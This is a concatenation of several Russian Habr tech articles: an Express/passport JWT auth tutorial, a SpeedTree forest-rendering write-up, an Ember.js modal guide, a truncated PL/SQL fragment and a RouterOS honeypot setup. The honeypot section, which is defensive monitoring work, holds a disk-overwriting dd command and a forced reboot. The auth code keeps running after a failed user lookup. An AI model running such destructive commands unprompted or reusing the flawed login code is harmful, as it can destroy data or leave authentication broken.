if (!user) {
res.status(401).json({
success: false,
message: 'Wrong login or password'
});
}
const isValid = cryptoHelper.validatePassword(req.body.password, user.hash, user.salt);
if (isValid) {
await sendAndSetTokens(req, res, user);
} else {
res.status(401).json({
success: false,
message: 'Wrong login or password'
});
}
})
.catch((err) => next(err));
}
export function userRefreshToken(req, res, next) {
const refreshCandidate = req.cookies.refreshToken;
if (refreshCandidate) {
if (jwtHelper.isValidRefresh(refreshCandidate.token)) {
User.findOne({ refreshToken: refreshCandidate })
.then(async (user) => {
await sendAndSetTokens(req, res, user);
})
.catch(() => {
res.status(403).json({
success: false,
message: 'Invalid Refresh Token!'
});
});
} else {
res.status(403).json({
success: false,
message: 'Invalid Refresh Token!'
});
}
} else {
res.status(401).json({
success: false,
message: 'Refresh Token Empty!'
});
}
}
export function userLogout(req, res, next) {
const refreshCandidate = req.cookies.refreshToken;
if (refreshCandidate) {
if (jwtHelper.isValidRefresh(refreshCandidate.token)) {
User.findOne({ refreshToken: refreshCandidate })
.then(async (user) => {
await resetRefresh(user);
resetCookie(req, res);
})
.catch((err) => next(err));
} else {
res.status(401).json({
success: false,
message: 'You are not logged in to logout!'
});
}
} else {
res.status(401).json({
success: false,
message: 'Refresh Token Empty!!'
});
}
}
export function userProfile(req, res, next) {
if (req.user) {
res.status(200).json(req.user);
}
}
```
Контроллер test.js – набор простейших функций, для проверки работы авторизации и работы незащищенного маршрута.
./src/api/controllers/test.js
```
export function ping(req, res) {
res.json({
success: true,
message: 'Pong'
});
}
export function testSubscription(req, res) {
res.status(200).json({
success: true,
message: 'You are subscriber!'
});
}
export function testPrivate(req, res) {
res.status(200).json({
success: true,
message: 'You are in Private!'
});
}
```
Осталось экспортировать все это разом в ./src/api/controllers/index.js
```
export * from './test';
export * from './user';
```
### Собираем все воедино
Нам осталось собрать все в кучу и написать точку входа. Для этого мы напишем server.js и положим его в ./src/utils и app.js, который положим в ./src
На этих файлах остановимся подробнее. Начнем с импортов, что для чего нужно:
* express – сам наш сервер
* cookieParser – промежуточное ПО, которое позволит нам работать с куки
* swaggerUI – интерфейс документации, который строится на основании описания API в yaml файле.
* swagger-routes-express – автоматическая генерация маршрутов (линковка эндпоинтов к функциям контроллеров на основании того же yaml файла API)
* yaml – работа с yaml файлами
* express-openapi-validator – простой валидатор запросов (может и ответы валидировать, но я не включал. Включается элементарно изменением значения в true)
* morgan – мощный инструмент логирования, который я использую для вывода информации в консоль, чтобы дебажить в реальном времени.
* cors – установка заголовков CORS, чтобы не делать ручками. Немного подробнее поговорим ниже.
* passport – та самая библиотека, которая упрощает нам работу по защите маршрутов
* дальше подключаем контроллеры, базу, стратегию passport.
Теперь первым делом инициализируем нашу стратегию, передав ей объект passport:
```
strategy(passport);
```
Подключаемся к БД:
```
db.connect()
.then(() => console.log('MongoDB connected'))
.catch((error) => console.error(error));
```
Загружаем и выводим в консоль информацию по API:
```
const yamlSpecFile = './bin/api/apiV1.yaml';
const apiDefinition = YAML.load(yamlSpecFile);
const apiSummary = summarise(apiDefinition);
console.info(apiSummary);
```
Инициализируем инстанс express:
```
const server = express();
```
Настройка сервера
```
// подключаем логирование с помощью morgan
server.use(morgan('dev'));
// позволяем себе читать параметры из url
server.use(express.urlencoded({ extended: true }));
// это промежуточное по позволяет парсить входящие запросы с application/json
server.use(express.json());
// позволяет работать с куки
server.use(cookieParser());
// настройка CORS. В боевом проекте стоит указать адреса, для которых будет доступен наш БЭК
//var corsOptions = {
// origin: 'http://example.com',
// optionsSuccessStatus: 200 // some legacy browsers (IE11, various SmartTVs) choke on 204
//}
// cors(corsOptions)
// Более подробно смотрите документацию пакета на npmjs.com
server.use(cors());
// инициализируем passport.js
server.use(passport.initialize());
```
Автоматическая валидация запросов
```
// Чтобы включить валидацию ответов, поправьте параметр validateResponses
// обратите внимание, что здесь мы указываем yaml файл API
const validatorOptions = {
coerceTypes: false,
apiSpec: yamlSpecFile,
validateRequests: true,
validateResponses: false
};
server.use(OpenApiValidator.middleware(validatorOptions));
// Кастомизация ошибок, если валидация не пройдена
server.use((err, req, res, next) => {
res.status(err.status).json({
error: {
type: 'request_validation',
message: err.message,
errors: err.errors
}
});
});
```
Самый главный участок – генерация маршрутов и их защита.
Коннектору передается объект, в который мы импортировали все функции контроллеров и описание API. На основании этих данных он линкует и создает маршруты, которые в стандартной документации и гайдах выглядят как
`server.use('/route/to/something', controllerFunction...`
у нас этого не будет.
Также обратите внимание на объект security, объекты subscriber и free, это поля из yaml файла описания api, в разделе security acess. Промежуточному ПО здесь мы передаем стандартный набор для middleware + объект paspport + массив групп, которым разрешен доступ к маршрутам, отмеченным определенным уровнем доступа.
```
const connect = connector(api, apiDefinition, {
onCreateRoute: (method, descriptor) => {
console.log(
`Method ${method} of endpoint ${descriptor[0]} linked to ${descriptor[1].name}`
);
},
security: {
subscriber: (req, res, next) => {
securityMiddleware(req, res, next, passport, ['subscriber', 'admin']);
},
free: (req, res, next) => {
securityMiddleware(req, res, next, passport, ['free', 'subscriber', 'admin']);
}
}
});
```
Осталось обернуть наш сервер коннектором и экспортировать
```
connect(server);
module.exports = server;
```
./src/utils/server.js
```
import express from 'express';
import cookieParser from 'cookie-parser';
import swaggerUi from 'swagger-ui-express';
import { connector, summarise } from 'swagger-routes-express';
import YAML from 'yamljs';
import * as OpenApiValidator from 'express-openapi-validator';
import morgan from 'morgan';
import cors from 'cors';
import passport from 'passport';
import * as api from '../api/controllers';
import * as db from '../db/db';
import { securityMiddleware } from './securityMiddleware';
import { strategy } from './passport';
strategy(passport);
// connect to DB
db.connect()
.then(() => console.log('MongoDB connected'))
.catch((error) => console.error(error));
// load API definition
const yamlSpecFile = './bin/api/apiV1.yaml';
const apiDefinition = YAML.load(yamlSpecFile);
const apiSummary = summarise(apiDefinition);
console.info(apiSummary);
const server = express();
server.use(morgan('dev'));
server.use(express.urlencoded({ extended: true }));
server.use(express.json());
server.use(cookieParser());
server.use(cors());
server.use(passport.initialize());
// API Documentation
server.use('/api-docs', swaggerUi.serve, swaggerUi.setup(apiDefinition, { explorer: false }));
// Automatic validation
const validatorOptions = {
coerceTypes: false,
apiSpec: yamlSpecFile,
validateRequests: true,
validateResponses: false
};
server.use(OpenApiValidator.middleware(validatorOptions));
// error customization, if request is invalid
server.use((err, req, res, next) => {
res.status(err.status).json({
error: {
type: 'request_validation',
message: err.message,
errors: err.errors
}
});
});
// Automatic routing based on api definition
const connect = connector(api, apiDefinition, {
onCreateRoute: (method, descriptor) => {
console.log(
`Method ${method} of endpoint ${descriptor[0]} linked to ${descriptor[1].name}`
);
},
security: {
subscriber: (req, res, next) => {
securityMiddleware(req, res, next, passport, ['subscriber', 'admin']);
},
free: (req, res, next) => {
securityMiddleware(req, res, next, passport, ['free', 'subscriber', 'admin']);
}
}
});
connect(server);
module.exports = server;
```
Осталась точка входа – app.js. Здесь все достаточно просто, распишу все в комментариях.
```
import https from 'https';
import fs from 'fs';
import * as dotenv from 'dotenv';
import server from './utils/server';
// помещаем в process.env переменные из .env файла
dotenv.config();
const { PORT } = process.env;
// загружаем сертификат и закрытый ключ
const privateKey = fs.readFileSync('./bin/crypto/ssl.key');
const certificate = fs.readFileSync('./bin/crypto/ssl.crt');
const options = { key: privateKey, cert: certificate };
// создаем HTTPS сервер
const app = https.createServer(options, server);
// запускаем на порту, который указали в .env файле
app.listen(PORT, () => {
console.info(`Listening on https://localhost:${PORT}`);
console.info(`Open https://localhost:${PORT}/api-docs for documentation`);
});
```
Основная информация взята из этих статей:
<https://losikov.medium.com/part-2-express-open-api-3-0-634385c97a4e>
<https://medium.com/swlh/everything-you-need-to-know-about-the-passport-jwt-passport-js-strategy-8b69f39014b0>
Спасибо за внимание, надеюсь кому-то этот лонгрид поможет . | https://habr.com/ru/post/559136/ | null | ru | null |
# GPU Bound. Часть вторая. Бескрайний лес

Практически в каждой игре необходимо наполнять игровые уровни объектами, которые создают визуальное богатство, красоту и вариативность виртуального мира. Возьмите любую игру с открытым миром. Там деревья, трава, земля и вода основные «заполнители» картинки. Сегодня GPGPU будет совсем немного, но я попробую рассказать, как нарисовать в кадре много деревьев и камней, когда нельзя, но очень хочется.
Сразу следует оговориться, что у нас маленькая инди девстудия, и ресурсов вырисовывать и вымоделивать каждую мелочь часто нету. Отсюда и требование к различным подсистемам, быть «надстройкой» над уже готовым функционалом движка. Так было и в первой статье цикла про анимации (там мы использовали и ускоряли уже готовую систему анимации Unity), так будет и тут. Это сильно упрощает внедрение нового функционала в игру (меньше учиться, меньше багов, etc).
Итак, задача: надо нарисовать много леса. Игра у нас стратегия реального времени (RTS) с большими уровнями (30х30 км), и это задает основные требования к системе отрисовки:
* С помощью миникарты мы можем мгновенно перенестись в любую точку уровня. И данные про объекты для новой позиции должны быть готовы. Мы не можем как в FPS или TPS играх полагаться на подгрузку ресурсов через какое-то время.
* Объектов на таких больших уровнях необходимо действительно большое количество. Сотни тысяч, если не миллионы.
* Опять же, большие уровни делают очень долгой и сложной процедуру расстановки «лесов» в ручном режиме. Необходима процедурная генерация леса, камней и кустов, но с возможностью ручной корректировки и расстановки в ключевых местах игрового уровня.
Как можно решить такую задачу? Такое количество обычных расставленных объектов юнити все равно не потянет. Умрем в куллинге и батчинге. Рендер возможен с помощью инстансинга. Надо писать систему управления. Деревья надо моделлить. Систему анимаций деревьев надо делать. Ох. Хочется красиво и сразу. Есть SpeedTree, но нет апи для анимаций, вид сверху на билборды ужасен, так как нет «horizontal billboard» и документация скудновата. Но когда нас такое останавливало? Будем оптимизировать SpeedTree рендер.
#### Рендеринг
Посмотрим для начала, так ли все плохо с обычными speedtree объектами:

Вот около 2000 деревьев на сцене. С рендером все в порядке, там instancing объединил деревья в батчи, а вот с CPU все плохо. Половина времени рендера камеры — это куллинг. А нам надо сотни тысяч. Однозначно отказываемся от GameObject'ов, но теперь нам надо расковырять структуру модельки SpeedTree, механизм переключения LOD'ов и сделать все ручками.
Дерево SpeedTree состоит из нескольких LODов (обычно 4), последний из которых billboard, а все остальные — геометрия различной степени детализации. Каждый из них состоит из нескольких сабмешей, со своим материалом:
Это не специфика именно SpeedTree. Такую структуру может иметь любой объект. Переключение LODов реализовано двумя доступными режимами:
1. Cross Fade:
2. Speed Tree:
**CrossFade** (в терминах шейдеров Unity он определяется define'ом препроцессора LOD\_FADE\_CROSSFADE) — основной метод переключения LOD для любых объектов сцены с несколькими уровнями детализации. Он заключается в том, что когда происходит смена LOD, меш, который должен исчезнуть, не просто исчезает (так будет отчетливо виден скачок качества модели), а «растворяется» на экране с помощью [dithering'a](https://digitalrune.github.io/DigitalRune-Documentation/html/fa431d48-b457-4c70-a590-d44b0840ab1e.htm). Простой эффект, а позволяет избежать использования настоящей прозрачности (alpha blending). Модель, которая должна появиться, абсолютно таким же образом «проявляется» на экране.
**SpeedTree** (LOD\_FADE\_PERCENTAGE) же сделан специально для деревьев. В геометрию листьев, веток и ствола, помимо основных координат, записаны еще и дополнительные координаты позиции вершин младшего по отношению к текущему LOD уровня. Степень перехода из одного уровня в другой и есть значение веса для линейной интерполяции этих двух позиций. Переход в/из billboard происходит с помощью CrossFade метода.
В принципе, это все, что надо знать для реализации собственной системы переключения LOD'ов. Сам рендеринг прост. Проходимся в цикле по всем типам деревьев, по всем LOD'ам и по всем сабмешам каждого LOD'a. Устанавливаем соответствующий материал, и отрисовываем все экземпляры данного объекта одним махом с помощью инстансинга. Таким образом, количество DrawCall равно количеству уникальных объектов на сцене. Как мы знаем, что рисовать? В этом нам поможет
#### Генератор Леса
Сама высадка проста и неприхотлива. Для каждого типа дерева разбиваем мир на квады так, чтобы в каждый помещалось одно дерево. Пробегаемся по всем квадам и проверяем маску вида:

в данной точке уровня, а можно ли садить тут дерево? Маску, c «лесистыми» местами, рисует level designer. Сначала все это дело было на CPU и C#. Генератор работал неспешно, а размеры уровней росли так, что ждать перегенерации по несколько десятков минут стало напряжно. Решено было перенести генератор на GPU и Compute шейдера. Тут тоже все просто. Нам нужна heightmap земли, маска посадки деревьев и AppendStructuredBuffer, куда мы добавляем сгенерированные деревья (позиция и ID, вот и все данные).
Расставленные руками деревья в ключевых точках специальный скрипт подтягивает в общие массивы и удаляет оригинальный объект со сцены.
#### Culling & LOD switсhing
Знать позицию и тип дерева недостаточно, чтобы сделать эффективный рендеринг. Надо каждый кадр определять, какие объекты видны и какой LOD (учитывая логику переходов) отправлять на рендер.
Этим также будет заниматься специальный сompute shader. Для каждого объекта сначала выполняется Frustum Culling:
Если объект видим, то далее выполняется логика переключения LOD. По размеру на экране определяем нужный LOD level. Если для LOD группы задан режим CrossFade, то инкрементируем время перехода для dithering'a. Если SpeedTree Percentage, то считаем нормализированное значение перехода между LOD'ами.
В современных графических АПИ есть замечательные функции, позволяющие draw submission информацию передавать в вызов отрисовки в compute buffer (например ID3D11DeviceContext::DrawIndexedInstancedIndirect для D3D11). Это значит, что заполнять этот compute buffer можно и на GPU. Таким образом получается сделать полностью CPU независимую систему (ну только Graphics.DrawMeshInstancedIndirect вызвать). В нашем случае необходимо записать только количество инстансов каждого сабмеша. Остальная информация (количество индексов в меше и смещения) статична.
Compute buffer, с аргументами для draw call разбиваем на секции, каждая из которых отвечает за вызов отрисовки своего submesh. В сompute shader'e для меша, который должен быть отрисован в текущем кадре, инкрементируем соответствующее InstanceCount значение.
Вот как это выглядит в рендере:
GPU occlusion culling — очевидный следующий шаг, но для RTS с такой камерой, и не очень большой холмистостью выигрыши не так очевидны (а для заинтересованных [вот](https://interplayoflight.wordpress.com/2017/11/15/experiments-in-gpu-based-occlusion-culling/) и [вот](https://youtu.be/U20dIA3SLTs)). Я пока не сделал.
Чтобы все корректно рисовалось, надо немного подправить SpeedTree'шные шейдера, чтобы брать позицию и значения для переходов между LOD из соответствующих compute буферов.
Теперь у нас рисуются красивые, но статичные деревья. А на SpeedTree деревья реалистично влияет ветер, анимируя их. Вся логика таких анимаций находится в файле SpeedTreeWind.cginc, но никакой документации, ни доступа к внутренним параметрам из Unity нет.
```
CBUFFER_START(SpeedTreeWind)
float4 _ST_WindVector;
float4 _ST_WindGlobal;
float4 _ST_WindBranch;
float4 _ST_WindBranchTwitch;
float4 _ST_WindBranchWhip;
float4 _ST_WindBranchAnchor;
float4 _ST_WindBranchAdherences;
float4 _ST_WindTurbulences;
float4 _ST_WindLeaf1Ripple;
float4 _ST_WindLeaf1Tumble;
float4 _ST_WindLeaf1Twitch;
float4 _ST_WindLeaf2Ripple;
float4 _ST_WindLeaf2Tumble;
float4 _ST_WindLeaf2Twitch;
float4 _ST_WindFrondRipple;
float4 _ST_WindAnimation;
CBUFFER_END
```
Как бы нам выковырять их? Для этого, для каждого типа дерева отрендерим оригинальный SpeedTree объект где-нибудь в невидном месте (вернее в видном для Unity, но не видном в камере, а то параметры не будут обновляться). Этого можно добиться сильно увеличив bounding box, и поместив объект за камеру). Каждый кадр снимаем нужный набор значений с помощью material.GetVector(...).
Так, деревья колыхаются на ветру, но вид сверху на билборды удручающий:
С шейдер вариантом BILLBOARD\_FACE\_CAMERA\_POS еще хуже:
Нам нужны horizontal (top-down) billboards. Это стандартная фича SpeedTree со времен царя Гороха, но, судя по форумам, до сих пор не реализованная в Unity. Пост с официального [форума](https://forum.speedtree.com/forum/speedtree-modeler/using-the-speedtree-modeler/3942-horizontal-billoard-absent-in-unity) SpeedTree: «The Unity integration never used the horizontal billboard». Будем прикручивать руками. Саму геометрию сделать несложно. Как узнать UV координаты спрайта в атласе для нее?

Достаем старенький SpeedTreeRT SDK, и находим в документации структурку:
```
struct SBillboard
{
bool m_bIsActive;
const float* m_pTexCoords;
const float* m_pCoords;
float m_fAlphaTestValue;
};
```
«m\_pTexCoords points to a set of 4 (s,t) texture coordinates that define the images used on the billboard. m\_pTexCoords contains 8 entries.», говорится в ней на иностранном языке. Что ж, будем в бинарном spm файле искать последовательность из 4-х floating point значений, каждое из которых лежит в диапазоне [0..1]. Методом научного тыка выясняем, что нужная последовательность находится перед блоком из 12 float cо знаками соответствующими паттерну:
```
float signs[] = { -1, 1, -1, 1, 1, -1, 1, 1, 1, -1, 1, 1 };
```
Пишем небольшую консольную утилиту на плюсах, которая перебирает все spm файлы, и в них ищет uv координаты для горизонтальных билбордов. На выходе получается такая себе CSV табличка:
```
Azalea_Desktop.spm: 0, 1, 0.333333, 1, 0.333333, 0.666667, 0, 0.666667,
Azalea_Desktop_Flowers_1.spm: 0, 1, 0.333333, 1, 0.333333, 0.666667, 0, 0.666667,
Azalea_Desktop_Flowers_2.spm: 0, 1, 0.333333, 1, 0.333333, 0.666667, 0, 0.666667,
Leaf_Map_Maker_Desktop_1_Modeler_Use_Only.spm: Pattern not found!
Leaf_Map_Maker_Desktop_2_Modeler_Use_Only.spm: Pattern not found!
BarrelCactus_Cluster_Desktop_1.spm: 0, 0.592376, 0.407624, 0.592376, 0.407624, 0.184752, 0, 0.184752,
BarrelCactus_Cluster_Desktop_2.spm: 0, 1, 0.499988, 1, 0.499988, 0.500012, 0, 0.500012,
BarrelCactus_Desktop_1.spm: 0, 0.2208, 0.220748, 0.2208, 0.220748, 5.29885e-05, 0, 5.29885e-05,
BarrelCactus_Desktop_2.spm: 0, 1, 0.301392, 1, 0.301392, 0.698608, 0, 0.698608,
```
Для назначения текстурных координат геометрии horizontal billboard'у, находим нужную запись и парсим ее.
Теперь стало вот так:
Все еще не очень. Будем фейдить с помощью alpha test threshold вертикальный билборд, в записимости от угла к камере:
**Итоги**
Профайлер, показывающий динамическую (сколько всего чего рендерится) и статическую (сколько всего на сцене объектов и их параметры) статистику:
Ну и финальное красивое видео (во второй половине показаны переключения quality levels):
Что имеем в итоге:
* Система полностью CPU независима.
* Работает быстро.
* Использует готовые SpeedTree ассеты, коих можно купить в интернете.
* Конечно, я ее подружил с любыми LODGroup, а не только SpeedTree. Так что много камушков теперь тоже можно.
Из недостатков можно отметить отсутствие occlusion culling и таки не очень выразительные билборды. | https://habr.com/ru/post/483946/ | null | ru | null |
# Путеводитель по Bootstrap + Ember.js. Часть 1: Модальные окна в Эмбере или как подружить Bootstrap Modal и Ember.js
Если вы любите Bootstrap, активно используете его в работе и решили с головой окунуться в мир ember.js, то вас ожидает увлекательнейшее путешествие по закоулкам Stack Overflow в поисках ответов на десятки вопросов. Мой путеводитель ~~по галактике~~ по Ember.js способен дать ответ на некоторые из них, например:
**Как использовать модальные окна Bootstrap в Ember.js?**
Прежде чем перейти к ответу, необходимо эффектное вступление для моего путеводителя в целом. Недолго думая вспомнились два коротких слова, которые непременно поддержат тех, кто хочет покорить ~~вселенную~~ ember.js
«DON'T PANIC!»
Хорошее, начало. Поехали!
Давайте прикинем, что необходимо учесть при использовании модальных окон:
1. простая интеграция в любые части приложения
2. передача различных моделей в модальные окна, в зависимости от ситуации
3. регулировка размеров и стилей модальных окон
Модальное окно будем загружать через вспомогательный {{outlet 'modal'}}. К примеру мы хотим сделать редактирование песен на странице /songs. Темплейт для /songs будет выглядеть так:
```
// templates/songs
/*Ваш код*/
{{outlet 'modal'}} // место для отображения модального окна
```
Теперь нам необходимо создать компонент modal-window.hbs и вынести в него все элементы шапки и футера модального окна.
```
ember generate component modal-window
```
В нем разместим следующий код:
```
/templates/components/modal-window.hbs
// {{size}} - переменная для динамического изменения модального окна
×
#### {{title}}
//название модели
{{yield}} // сюда будем грузить уникальный контент модального окна
Закрыть
Сохранить изменения
```
Обратите внимание, мы добавили переменную {{size}}. В нее будем передавать класс для регулирования размера модального окна (modal-sm, modal-lg). По аналогии можно добавлять классы к любому другому блоку.
{{yield}} — это то место, где будет отображаться основная часть модального окна. К ней вернемся чуть позже. Если вы не знаете, как использовать компоненты, ознакомиться с оф.гайдом можно [тут](http://guides.emberjs.com/v1.10.0/components/).
Неплохо было бы сразу добавить действия для кнопок «сохранить» и «закрыть», которые расположены в футере модального окна. Для этого добавим в класс нашего компонента components/modal-window.js следующий код:
```
//components/modal-window.js
actions: {
save: function() {
this.$('.modal').modal('hide');
this.sendAction('save');
}
},
show: function() {
this.$('.modal').modal().on('hidden.bs.modal', function() {
this.sendAction('close');
}.bind(this));
}.on('didInsertElement') //вызываем функцию после загрузки компонента
```
Теперь самое интересное.
Создадим новый темплейт, который будет отображаться в {{yield}} созданного выше компонента и он же будет загружаться в {{outlet 'modal'}}
```
ember generate template modals/song
```
Вставим туда следующий код
```
//templates/modals/song.hbs
{{#modal-window title="Добавить песню" size="modal-sm" save='save' close='removeModal'}}
{{input type="text" value=name class="form-control"}}
{{input type="text" class="form-control" value=fromServ}}
{{/modal-window}}
```
Мы передали параметры компоненту (title, size, save, close). Теперь создадим контроллер для этого темплейта:
```
ember generate controller modals/song
```
Добавим туда экшен для кнопки «save»:
```
// controlers/modals/song
actions: {
save: function() {
// действие
}
}
```
Заключительный этап — нам нужно указать какой именно темплейт с какими параметрами грузить в {{outlet 'modal'}}.
Для этого достаточно передать параметры через кнопку вызова модального окна:
```
// templates/songs - темплейт для вывода списка песен
/*Ваш код*/
Редактировать
{{outlet 'modal'}} // место для отображения модального окна
```
Затем вешаем обработчик для 'showModal' прямо в route темплейта, в котором находится {{outlet 'modal'}}, в нашем случае это routes/songs:
```
//routes/songs
actions: {
showModal: function(name, model) {
this.render(name, {
into: 'songs',
outlet: 'modal',
model: model
});
},
removeModal: function() {
this.disconnectOutlet({
outlet: 'modal',
parentView: 'songs'
});
},
}
```
Еще раз о главном.
По нажатию на кнопку вызова модального окна мы получаем следующие параметры:
1. action 'showModal' — который описываем в рауте того темплейта, в котором хотим отобразить модальное окно
2. 'modals/song' — темплейт, который будет загружен вместе с компонентом модального окна
3. model — модель для данного модального окна
Затем вызывается метод showModal, который помещает темплейт модального окна с нужной моделью в {{outlet: 'modal'}}
В темплейте модального окна подгружается компонент модального окна, а в месте с ним и функция show, которая отобразит модальное окно на экране.
Готово! Спасибо за внимание.
P.S.: Спасибо [EmberGuru](https://twitter.com/EmberGuru) за идею. | https://habr.com/ru/post/271153/ | null | ru | null |
# Некоторые советы при работе с PLSQL
Я решил написать цикл небольших заметок благодаря посту [Хорошие привычки в PL/SQL](http://habrahabr.ru/blogs/oracle/124948/), советы которого и рассмотрю.
В этой части обсудим:
1. [Нюансы %TYPE/%ROWTYPE](#1)
2. [Select for update](#2)
3. [Работа с коллекциями](#3)
1. Нюансы %TYPE/%ROWTYPE
------------------------
Cделаем тест-кейс — создадим табличку с полем типа Integer и внесем в нее тестовое значение:
> `create table test\_integer(a integer);
> create type integer\_table as table of integer;
> /
> insert into test\_integer values (1E125);
> commit;
> select \* from test\_integer;` | https://habr.com/ru/post/125893/ | null | ru | null |
# Honeypot на RouterOS
Одним из способов обеспечения информационной безопасности сетевых ресурсов является организация специально подготовленных для легкого взлома «бочонков с медом», детектирования ими угроз, выявления и анализе соответствующих сигнатур с последующей своевременной блокировкой злоумышленников. В статье описано создания honeypot на просторах интернета программными средствами от компании MikroTik.
#### Философское отступление и предыстория
Серфинг в интернете стал сопряжен с государственным регулированием, выражающимся в выполнении провайдерами требований по ограничению доступа к различным сайтам. Параноики нагнетают обстановку фактом незашифрованности протокола DNS и возможностями по манипуляции с ним со стороны третьих лиц. Старый и добрый HTTP до сих пор встречается на просторах сети. И на десерт – аналитика наших интересов со стороны поисковых систем, почтовых сервисов, мессенджеров, социальных сетей и различных сервисов. Как результат, большинство людей знают/слышали/пользуются VPN технологиями для сопротивления реальной глобализации современной жизни в целях защиты цифровой приватности. Темную сторону силы в расчет даже не берем и с ними отношений не имеем.
Как IT специалисты, мы не имеем морального права использовать готовые решения от не известных нам компаний из разряда «нажал кнопку и ты в VPN». Нам нужен собственный центр сертификации, да и вся инфраструктура публичных ключей. Свой VPN сервер, полный root, полный контроль, абсолютная гибкость и безопасность. Большинство из нас возьмут Linux сервер и все сделают как в техническом задании. Пласт сетевых инженеров, специализирующихся на оборудовании MikroTik, с удовольствием предпочтет RouterOS, развернутый где-нибудь на VPS по ряду причин:
1. Легкость интеграции в существующую инфраструктуру на базе RouterOS.
2. Наличие удобного интерфейса управления, в том числе графического.
3. Простая развертываемость различных сетевых технологий коммутации, маршрутизации, ~~L7~~ и т.д.
4. Безопасность и стабильность применяемого решения.
5. Чувство эстетического удовольствия от работы с хорошими программными средствами.
6. Поддержка из коробки различных протоколов VPN (openvpn, l2tp, sstp, gre, pptp).
Управление по средством графического интерфейса VPS с установленным RouterOS#### Реализуем облачный маршрутизатор
Развернем собственный облачный маршрутизатор MikroTik. Дешево и быстро арендуем VPS с минимальными характеристиками. Разворачиваем вместо штатного Debian свой любимый RouterOS:
```
mount -t tmpfs tmpfs /tmp/
cd /tmp
wget https://download.mikrotik.com/routeros/6.47.9/chr-6.47.9.img.zip
apt install zip
unzip chr-6.47.9.img.zip
dd if=chr-6.47.9.img of=/dev/vda bs=4M oflag=sync
echo 1 > /proc/sys/kernel/sysrq
echo b > /proc/sysrq-trigger
```
После перезагрузки, используя VNС, настраиваем сеть, и виртуальный маршрутизатор готов к работе:
```
/ip address add interface=ether1 address=наш_ip
/ip route add dst-address=0.0.0.0/0 gateway=gw_от_провайдера
```
Сразу же начался знакомый всем Linux администраторам bruteforce ssh-сервера:
```
... system,error,critical login failure for user root from 104.211.164.221 via ssh
... system,error,critical login failure for user yu from 119.29.113.149 via ssh
... system,error,critical login failure for user laboratory from 1.245.61.144 via ssh
... system,error,critical login failure for user username from 36.133.162.171 via ssh
... system,error,critical login failure for user test from 49.232.214.91 via ssh
```
В этот момент и зародилась идея создания honeypot из Cloud Hosted Router для анализа ботов, специализирующихся на зло вредительстве устройствам MikroTik. Обзорную информацию об угрозах информационной безопасности для данных устройств можно посмотреть в презентации «[Fools your enemy with Mikrotik](https://mum.mikrotik.com//presentations/ID16/presentation_3655_1476604698.pdf)».
#### Настройка honeypot
Для начала определим, какие возможности по записи действий злоумышленников у нас имеются в штатных средствах RouterOS:
1. Удаленное логирование.
2. Регистрация выполненных изменений конфигурации роутера.
3. Контроль проходящего через него трафика.
А вот введенные команды сохранятся, только если не будут принудительно удалены из консоли, дистанционно передавать их нельзя, хотя возможно, со слов компании, это появится в 7 версии операционной системы (на текущий момент последняя доступная версия stable релиза 6.48.1). Цитируем: «*By upgrading to RouterOS v7 you will get more details in this command output*» (речь идет об `/system history print detail`). Начнем сначала, для этого:
```
/system logging action set 3 remote=ip_удаленного_сервера
/system logging
add action=remote topics=info
add action=remote topics=critical
add action=remote topics=error
add action=remote topics=hotspot
add action=remote topics=warning
```
Передачу логов осуществляем по vpn каналу, чтобы не передавать открытые данные в сеть. На удаленном сервере настроим лог-коллектор rsyslog, для этого отредактируем файл */etc/rsyslog.conf*:
```
$ModLoad imudp
$UDPServerAddress ip_удаленного_сервера
$UDPServerRun 514
```
Перестартуем службу `systemctl enable rsyslog`, `systemctl restart rsyslog`. Прослушиваем только vpn интерфейс, чтобы не светить 514 хоть и UDP портом наружу. Удаленный лог будет выглядеть примерно так:
```
2021-03-24T20:46:02.608642+06:00 ip_роутера system,error,critical login failure for user root from 45.124.86.155 via ssh
2021-03-24T20:51:46.427403+06:00 ip_роутера system,error,critical login failure for user root from 193.112.24.94 via ssh
2021-03-24T20:52:48.378138+06:00 ip_роутера system,error,critical login failure for user ts3srv from 107.173.209.238 via ssh
2021-03-24T20:53:02.692985+06:00 ip_роутера system,error,critical login failure for user root from 61.7.147.29 via ssh
2021-03-24T20:53:15.616354+06:00 ip_роутера system,error,critical login failure for user user14 from 68.183.84.215 via ssh
2021-03-24T20:53:54.436415+06:00 ip_роутера system,error,critical login failure for user root from 52.172.165.176 via ssh
2021-03-24T20:53:56.684200+06:00 ip_роутера system,error,critical login failure for user php from 189.8.95.30 via ssh
```
Регистрацию выполненных ботом изменений конфигурации роутера будем осуществлять в результате регулярного экспорта всех конфигураций в собственную память, а забирать файлы будем автоматически скриптом на VPS по ftp, разумеется так же через vpn канал (`/ip service set ftp address=ip_удаленного_сервера`). Для этого делаем планировщик на MikroTik с регулярным заданием: `/export compact file=file`. А на сервере запустим скрипт:
```
#!/bin/sh
HOST=ip_роутера
USER=admin
PASSWD=суровый_пароль_настоящего_админа
FILE=file.rsc
SIZE=2091c
while true; do
OUTPUTNAME=`date +%F-%H-%M-%S`.rcs
curl -u $USER:$PASSWD ftp://$HOST/$FILE > /root/exports/$OUTPUTNAME
find /root/exports/ -type 'f' -size 0 -delete
find /root/exports/ -type 'f' -size $SIZE -delete
sleep 5;
done
```
В переменой SIZE лежит размер файла экспорта после всех наших манипуляций с honeypot. Если злоумышленник изменит любую конфигурацию, то результатом экспорта будет файл не много другого размера. Таким образом, на удаленном сервере в папке /root/exports окажется что-то новенькое. Так как наш удаленный лог начнет забиваться сообщениями о работе задания в планировщике, поэтому донастроим конфигурацию rsyslog (файл */etc/rsyslog.conf*):
```
if $fromhost-ip contains 'ip_адрес_роутера' then {
if $msg contains 'ftp' then /dev/null
else /var/log/mikrotik.log
}
```
Для контроля проходящего через роутер трафика можно использовать разные подходы. Это и маркировка трафика с последующим снифером, настройка net-flow клиента, но мы воспользуемся самым простым – встроенным приложением packet-sniffer:
```
/tool sniffer
set filter-interface=ether1 filter-port=!ssh,!winbox,!ftp,!наш_порт_для_vpn \
filter-stream=yes memory-scroll=no streaming-enabled=yes \
streaming-server=ip_удаленного_сервера
```
Пропускать мимо снифера будем шифрованный vpn, ssh и winbox, а также задействованный нами ftp. Трафик будет отправляться UDP пакетами по протоколу [Tazmen Sniffer Protocol](https://en.wikipedia.org/wiki/TZSP) (TZSP), принять его на сервере можно вместе со служебными заголовками обычным tcpdump-ом, или в уже красивом и удобном виде, используя программу Trafr не посредственно от компании MikroTik. Подробнее как все настроить можно почитать [здесь](https://habr.com/ru/post/416407/).
